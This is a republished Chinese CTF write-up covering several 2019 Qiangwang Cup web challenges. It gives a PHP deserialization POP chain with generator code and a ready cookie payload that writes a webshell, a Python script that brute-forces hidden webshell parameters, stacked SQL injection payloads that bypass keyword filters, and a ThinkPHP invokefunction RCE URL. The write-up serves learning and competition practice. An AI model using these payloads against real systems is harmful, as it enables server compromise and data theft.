2019强网杯部分Web wp

栏目: 服务器 · 发布时间: 5年前

内容简介:Pwn 网杯再一次用实践行动谁才是 CTF 中爸爸级别的人物!随便打开一个页面发现 cookie 存在序列化的样子扫目录得到

Pwn 网杯再一次用实践行动谁才是 CTF 中爸爸级别的人物!

(当然还是 Crypto 爷爷啦

Web

Upload

随便打开一个页面发现 cookie 存在序列化的样子

a:5:{s:2:"ID";i:2;s:8:"username";s:4:"zedd";s:5:"email";s:11:"zedd@qq.com";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";s:3:"img";N;}

扫目录得到 www.tar.gz 压缩包,代码审计

Profile.php 发现关键代码:

public function __get($name)
{
  return $this->except[$name];
}

public function __call($name, $arguments)
{
  if($this->{$name}){
    $this->{$this->{$name}}($arguments);
  }
}

被出烂的反序列化…这里肯定是利用 __call 函数去执行我们的命令了。然后在 Register.php 中看到有关键代码:

public function __destruct()
{
  if(!$this->registed){
    $this->checker->index();
  }
}

很明显了,这里我们用 Register->checker = Profile ,利用 Profile->index() 去触发 Profile 类中的 __call 魔术方法。

但是我们可以看到 Profile.php 当中的 __call 方法调用的参数是

public function __call($name, $arguments)
{
  if($this->{$name}){
    $this->{$this->{$name}}($arguments);
  }
}

通过文档我们可以知道 $name 是不存在方法的调用的名字,在这里也就是 index$arguments 就是传入调用方法的参数,这里就为空。

而当使用 $this->index 的时候,我们会触发另一个魔术方法 __get

​ 读取不可访问属性的值时,__get() 会被调用。

所以这里我们又因为 if 判断中调用了 $this->{$name} ,而当 $this->{$name} 不存在的时候触发了 __get ,那我们再仔细看看 __get 方法

public function __get($name)
{
  return $this->except[$name];
}

这里又调用了 $this->except[$name] ,而 $name 我们可以通过 __call 调用的值确定为 index ,而且 Profile 类存在一个公有类 except 可以供我们修改。

接着利用 _get 的返回会使 __call 方法中的 if 为真,执行 $this->{$this->{$name}}($arguments);

这里我大概简化了一下代码:

2019强网杯部分Web wp

结果如下,这样这个构造链就比较清楚了。

2019强网杯部分Web wp

既然有了构造链,那我们可以怎么做呢?在 Profile 类中我们还可以发现上传功能的方法有这样的代码:

if(!empty($_FILES)){
  $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
  $this->filename=md5($_FILES['upload_file']['name']).".png";
  $this->ext_check();
}

if($this->ext) {
  if(getimagesize($this->filename_tmp)) {
    @copy($this->filename_tmp, $this->filename);
    @unlink($this->filename_tmp);
    $this->img="../upload/$this->upload_menu/$this->filename";
    $this->update_img();
  }else{
    $this->error('Forbidden type!', url('../index'));
  }
}else{
  $this->error('Unknow file type!', url('../index'));
}

如果我们不上传文件,就可以直接绕过第一个 if 判断,直接用赋值绕过第二个 if 判断,然后可以构造图片马绕过 getimagesize 的判断,控制 $this->filename 为 php webshell 形式,这样利用 copy($this->filename_tmp, $this->filename) 就可以让服务给我复制出了一个 php webshell 了。

好了基本构造攻击链接都基本设计好了。接下来就是怎么触发攻击链了,最开始的源头就是从 Register 类的 __destruct 方法开始的,所以我们需要找到一个可以反序列化 Register 的地方。

Index.php 中我们可以找到

public function login_check(){
  $profile=cookie('user');
    if(!empty($profile)){
      $this->profile=unserialize(base64_decode($profile));
      $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
      if(array_diff($this->profile_db,$this->profile)==null){
      return 1;
     }else{
      return 0;
    }
  }
}

可以看到就是通过 cookie 进行传值进行反序列化操作。所以我们基本上所有的攻击就可以完成了。通过如下代码生成 cookie ,在首页替代 cookie 就行了,即使返回错误,也没关系,只要把文件 copy 了就行了

class Index extends Controller
{
    public $profile;
    public $profile_db;
}

class Register extends Controller
{
    public $checker=true;
    public $registed;
}

class Profile extends Controller
{
    public $checker=false;
    public $filename_tmp="upload/da5703ef349c8b4ca65880a05514ff89/f78492f0513c659e69dab2e47f567202.png";
    public $filename="upload/sh.php";
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array("index"=>"upload_img");
}

$index =new Index();
$reg = new Register();
$reg->checker = new Profile();
$index->profile = $reg;
print_r(urlencode(base64_encode(serialize($reg))));

得到 php websehll

YToxOntzOjI6IklEIjtPOjI3OiJhcHBcd2ViXGNvbnRyb2xsZXJcUmVnaXN0ZXIiOjg6e3M6NzoiY2hlY2tlciI7TzoyNjoiYXBwXHdlYlxjb250cm9sbGVyXFByb2ZpbGUiOjEzOntzOjc6ImNoZWNrZXIiO2I6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6NzY6InVwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9mNzg0OTJmMDUxM2M2NTllNjlkYWIyZTQ3ZjU2NzIwMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTM6InVwbG9hZC9zaC5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtpOjE7czozOiJpbWciO047czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6NzoiACoAdmlldyI7TjtzOjEwOiIAKgByZXF1ZXN0IjtOO3M6MTY6IgAqAGZhaWxFeGNlcHRpb24iO2I6MDtzOjE2OiIAKgBiYXRjaFZhbGlkYXRlIjtiOjA7czoxOToiACoAYmVmb3JlQWN0aW9uTGlzdCI7YTowOnt9czoxMzoiACoAbWlkZGxld2FyZSI7YTowOnt9fXM6ODoicmVnaXN0ZWQiO047czo3OiIAKgB2aWV3IjtOO3M6MTA6IgAqAHJlcXVlc3QiO047czoxNjoiACoAZmFpbEV4Y2VwdGlvbiI7YjowO3M6MTY6IgAqAGJhdGNoVmFsaWRhdGUiO2I6MDtzOjE5OiIAKgBiZWZvcmVBY3Rpb25MaXN0IjthOjA6e31zOjEzOiIAKgBtaWRkbGV3YXJlIjthOjA6e319fQ%3D%3D

2019强网杯部分Web wp

连上去就可以 cat /flag

高明的黑客

拿到题目,有 www.tar.gz 附件,但是解压缩出来有很多 php 文件,打开仔细看都是经过混淆的。一开始没什么思路,然后随便仔细审了一个文件,发现都是假马

存在有

echo `$_GET['xxx']`;
system($_GET['xxx']);
assert($_GET['xxx']);
exec($_GET['xxx']);
eval($_GET['xxx'] ?? ' ');

但是触发条件都极其恶心,故意不让你触发,有类似

if('xMpdxjdRB' == 'TgjMxZujP')
 eval($_GET['xMpdxjdRB'] ?? ' ');

这样或者这样

$_GET['_5onXTD_C'] = ' ';
eval($_GET['_5onXTD_C'] ?? ' ');

反正就是一系列不让你直接拿到 webshell 的操作,感觉应该就是在混淆真的 webshell 了。

既然是混淆真的 webshell ,那我们是不是可以写个脚本制定一些规则遍历一下所有文件呢?例如

利用编译原理 LL1 文法 ,去他么的编译原理,写个:hammer:的规则,反正要找最终的 webshell ,干脆先直接找所有的 $_GET 或者 $_POST

变量,直接暴力传参探测,看是否有 webshell 执行命令的回显就好了。

不过这好无聊哦…脚本如下…

import os
import re
import requests

filePath = '/Users/zedd/Sites/web2/src'
files = os.listdir(filePath)
url = "http://localhost/web2/src/"

def get_rep(filename, name):
    r_url = url + filename +  "?" + name + "=echo `id`;"
    rep = requests.get(r_url)
    print(r_url)
    if 'uid=501' in rep.content.decode('utf-8'):
        print("Got It!   !!!!!!! " + filename + " The param is: _GET[" + name +"]")

def post_rep(filename, name):
    r_url = url + filename
    param = {
        name: "echo `id`;"
    }
    rep = requests.post(r_url, data=param)
    print(r_url + " POST: " + name)
    if 'uid=501' in rep.content.decode('utf-8'):
        print("Got It!   !!!!!!! " + filename + " The param is: _POST[" + name +"]")

for k in files:
    if k == '.DS_Store':
        continue
    if k == 'index.html':
        continue
    with open('./src/' + k, 'rt') as f:
        content = f.read()
        get = re.findall(r"GET\['(.+?)'\]", content)
        post = re.findall(r"POST\['(.+?)'\]", content)
        for i in get:
            get_rep(k, i)
        for i in post:
            post_rep(k, i)
        f.close()

第一天还跑错文件位置了,导致自己跑了好几遍都没出来,开始怀疑自己…第二天清醒了以后,仔细看才发现原来文件位置写错了…然后才跑出来

2019强网杯部分Web wp

你看这个文件是得有多可气啊!你看这个黑客是有多可气啊!

连上去 cat /flag 就拿到 flag 了

sql

一个注入题… fuzz 了一下,发现回显过滤了

return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

但是讲道理,过滤了 select ,是无法通过常规操作注入去拿 flag 的,于是考虑是不是不需要拿数据库,就是单纯读文件什么的操作。

可以报错,尝试使用以下读文件,无果

1' and extractvalue(1, concat(0x7e, (LOAD_FILE('/etc/passwd')),0x7e));

1' and (extractvalue(1,concat(0x7e,(isnull('/etc/passwd')),0x7e)))#

这里神奇的事 isnull ,无论文件存不存在都返回了 0 …

搜索过滤的关键字,在红日代码审计那个找到类似的,用那个的思路尝试 HPP ,无果。

搜到 2018 SUCTF 中也有类似的关键字过滤,发现那道题可以通过类似以下的 payload 堆叠达到注入效果

set @t=0x73656c65637420312c323b;prepare x from @t;execute x;

但是尝试的时候发现过滤回显

strstr($inject, "set") && strstr($inject, "prepare")

想了好一会,突然发现这是个 strstr 函数呀!可以用大小写绕过!

但是题目可能哪里出了问题,好几次拿到 flag 字段内容都为空…我觉得没什么问题…尝试了好几个 payload ,也问了客服,客服说没问题…又随便试了几个终于出了…

select * from supersqli.1919810931114514
1919810931114514
select * from 1919810931114514

1';Set @t=0x73656c65637420666c61672066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;#

1';Set @t=0x73656c656374202a2066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;#

1';Set @t=0x73656c656374202a2066726f6d20737570657273716c692e31393139383130393331313134353134;Prepare x from @t;Execute x;#

2019强网杯部分Web wp

强网先锋-上单

打开发现可以列目录,在 http://117.78.39.172:30280/1/runtime/log/201903/12.log 我们可以发现有一段 log

---------------------------------------------------------------
[ 2019-03-12T23:18:49+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error锛� boolean
---------------------------------------------------------------
[ 2019-03-12T23:18:53+08:00 ] 42.236.10.84 GET 39.105.136.196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error锛� boolean
---------------------------------------------------------------
[ 2019-03-12T23:19:52+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/?s=index/\think\Request/input&filter=system&data=whoami
[ error ] [0]Access to non-public constructor of class think\Request
---------------------------------------------------------------
[ 2019-03-12T23:23:59+08:00 ] 223.104.19.11 get /?s=captcha
[ error ] [2]system(): Cannot execute a blank command

发现是 tp 的 rce log,直接拿去打 http://117.78.39.172:30280/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

拿到 flag

Conclusion

Web 都比较难,质量都还是不错的。我觉得第一个题 upload 整个构造链还是需要一定技巧的,But 看到一些 wp 直接三言两语就带过了…啧啧…还是学到了一些知识的

再贴一几个我收集到的 wp 吧

babywebbb

智能门锁


以上所述就是小编给大家介绍的《2019强网杯部分Web wp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Servlet与JSP核心技术

Servlet与JSP核心技术

/ 人民邮电出版社 / 2001-10 / 55.00元

一起来看看 《Servlet与JSP核心技术》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器